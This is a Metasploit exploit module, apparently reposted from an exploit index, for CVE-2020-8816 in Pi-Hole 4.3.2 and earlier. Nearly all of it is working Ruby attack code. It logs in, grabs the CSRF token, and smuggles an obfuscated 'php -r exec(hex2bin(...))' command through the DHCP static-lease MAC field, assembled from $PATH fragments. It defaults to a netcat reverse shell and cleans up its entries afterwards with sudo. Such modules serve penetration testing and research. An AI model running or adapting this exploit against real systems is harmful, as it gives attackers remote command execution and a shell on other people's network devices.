Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/UNIX/HTTP/PIHOLE_DHCP_MAC_EXEC
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
        'Description' => %q{
          This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP static lease is added
          with a MAC address which includes an RCE.  Exploitation requires /opt/pihole to be first
          in the $PATH due to exploitation constraints.  DHCP server is not required to be running.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'François Renaud-Philippon <nate@nate.red>' # original PoC, discovery
          ],
        'References' =>
          [
            ['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
            ['CVE', '2020-8816']
          ],
        'Platform' => ['unix'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'Mar 28 2020',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
        },
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
      ]
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'method' => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

      # vDev (HEAD, v4.3-0-g44aff72)
      # v4.3
      %r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body

      if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears
      else
        vprint_bad("Version Detected: #{version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    CheckCode::Safe
  end

  def login(cookie)
    vprint_status('Login required, attempting login.')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'cookie' => cookie,
      'vars_get' => {
        'tab' => 'piholedhcp'
      },
      'vars_post' => {
        'pw' => datastore['PASSWORD']
      },
      'method' => 'POST'
    )
  end

  def add_static(payload, cookie, token)
    # we don't use vars_post due to the need to have duplicate fields
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'cookie' => cookie,
      'method' => 'POST',
      'vars_get' => {
        'tab' => 'piholedhcp'
      },
      'data' => [
        'AddMAC=',
        'AddIP=',
        'AddHostname=',
        "AddMAC=#{URI.encode_www_form_component(payload)}",
        "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s
        "AddHostname=#{rand_text_alphanumeric(8..12)}",
        'addstatic=',
        'field=DHCP',
        "token=#{URI.encode_www_form_component(token)}"
      ].join('&')
    )
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    begin
      @macs = []
      # get cookie
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
      )
      cookie = res.get_cookies
      print_status("Using cookie: #{cookie}")

      # get token
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'cookie' => cookie,
        'vars_get' => {
          'tab' => 'piholedhcp'
        }
      )

      # check if we got hit by a login prompt
      if res && res.body.include?('Sign in to start your session')
        res = login(cookie)
      end

      if res && res.body.include?('Sign in to start your session')
        fail_with(Failure::BadConfig, 'Incorrect Password')
      end

      # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
      # may also include /
      %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body

      unless token
        fail_with(Failure::UnexpectedReply, 'Unable to find token')
      end
      print_status("Using token: #{token}")

      # from the excellent writeup about the vuln:
      # The biggest difficulty in exploiting this vulnerability is that the user input is
      # capitalized through a call to "strtoupper". Because of this, no lower case character
      # can be used in the resulting injection.

      # we'd like to execute something similar to this:
      # aaaaaaaaaaaa&&php -r 'PAYLOAD'
      # however, we need to pull p, h, and r from the system due to all input getting capitalized
      # this is performed by pulling them from the $PATH which should be something like
      # /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
      # first payload we send is to check that this is in the path to verify exploitation is possible
      mac = rand_text_hex(12).upcase
      @macs << mac
      vprint_status("Validating path with MAC: #{mac}")
      res = add_static("#{mac}$PATH", cookie, token)

      # ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
      env = res.body.match(/value="#{mac}(?<env>.*)">/)
      if env && env[:env].starts_with?('/opt/pihole')
        print_good("System env path exploitable: #{env[:env]}")
      else
        msg = '/opt/pihole not in path. Exploitation not possible.'
        if env
          msg += " Path: #{env[:env]}"
        end
        fail_with(Failure::UnexpectedReply, msg)
      end

      # once we have php -r, we then need to pass a payload.  So we do this via php command
      # exec on hex2bin since our payload in hex caps will still get processed and executed.

      mac = rand_text_hex(12).upcase
      @macs << mac
      print_status("Payload MAC will be: #{mac}")
      shellcode = "#{mac}&&" # mac address, arbitrary
      shellcode << 'W=${PATH#/???/}&&'
      shellcode << 'P=${W%%?????:*}&&'
      shellcode << 'X=${PATH#/???/??}&&'
      shellcode << 'H=${X%%???:*}&&'
      shellcode << 'Z=${PATH#*:/??}&&'
      shellcode << 'R=${Z%%/*}&&$'
      shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
      shellcode << '"'
      shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
      shellcode << '"));'
      shellcode << "'&&"

      vprint_status("Shellcode: #{shellcode}")
      print_status('Sending Exploit')
      add_static(shellcode, cookie, token)

      # we don't use vars_post due to the need to have duplicate fields
      ip = '192.168'
      2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'ctype' => 'application/x-www-form-urlencoded',
        'cookie' => cookie,
        'method' => 'POST',
        'vars_get' => {
          'tab' => 'piholedhcp'
        },
        'data' => [
          'AddMAC=',
          'AddIP=',
          'AddHostname=',
          "AddMAC=#{URI.encode_www_form_component(shellcode)}",
          "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s
          "AddHostname=#{rand_text_alphanumeric(3..8)}",
          'addstatic=',
          'field=DHCP',
          "token=#{URI.encode_www_form_component(token)}"
        ].join('&')
      )

    # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

  end

  def on_new_session(session)
    super
    @macs.each do |mac|
      print_status("Attempting to clean #{mac} from config")
      session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
    end
  end
end